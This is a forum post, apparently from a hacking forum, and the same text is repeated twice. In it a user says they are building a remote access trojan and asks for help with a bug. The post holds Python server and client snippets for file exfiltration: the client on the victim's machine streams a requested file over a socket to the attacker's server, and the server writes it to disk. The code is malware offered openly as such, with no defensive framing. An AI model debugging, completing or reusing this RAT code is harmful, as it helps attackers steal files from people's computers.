Пожалуйста, обратите внимание, что пользователь заблокирован
Hi, i am coding a Rat right now.
I tried to do file exfiltration and i had this problem:
SERVER SIDE:
if "download" in command:
filename = command[9:]
print(filename)
send_command()
if "yes" in s.recv(BUFFER).decode():
with open(filename, "wb") as filetodownload:
while True:
bytes_read = s.recv(BUFFER)
if not (bytes_read):break
filetodownload.write(bytes_read)
print("Done")
CLIENT SIDE:
if "download" in command:
filename = command[9:]
if os.path.exists(filename) == True:
s.send("yes".encode())
with open(filename, "rb") as f:
while True:
try:
bytes_read = f.read(BUFFER)
except:break
if not (bytes_read):break
s.sendall(bytes_read)
When i execute the rat and call this, the file gets downloaded but then the script stops without executing the 'print("Done")', can someone help me?
I tried to do file exfiltration and i had this problem:
SERVER SIDE:
if "download" in command:
filename = command[9:]
print(filename)
send_command()
if "yes" in s.recv(BUFFER).decode():
with open(filename, "wb") as filetodownload:
while True:
bytes_read = s.recv(BUFFER)
if not (bytes_read):break
filetodownload.write(bytes_read)
print("Done")
CLIENT SIDE:
if "download" in command:
filename = command[9:]
if os.path.exists(filename) == True:
s.send("yes".encode())
with open(filename, "rb") as f:
while True:
try:
bytes_read = f.read(BUFFER)
except:break
if not (bytes_read):break
s.sendall(bytes_read)
When i execute the rat and call this, the file gets downloaded but then the script stops without executing the 'print("Done")', can someone help me?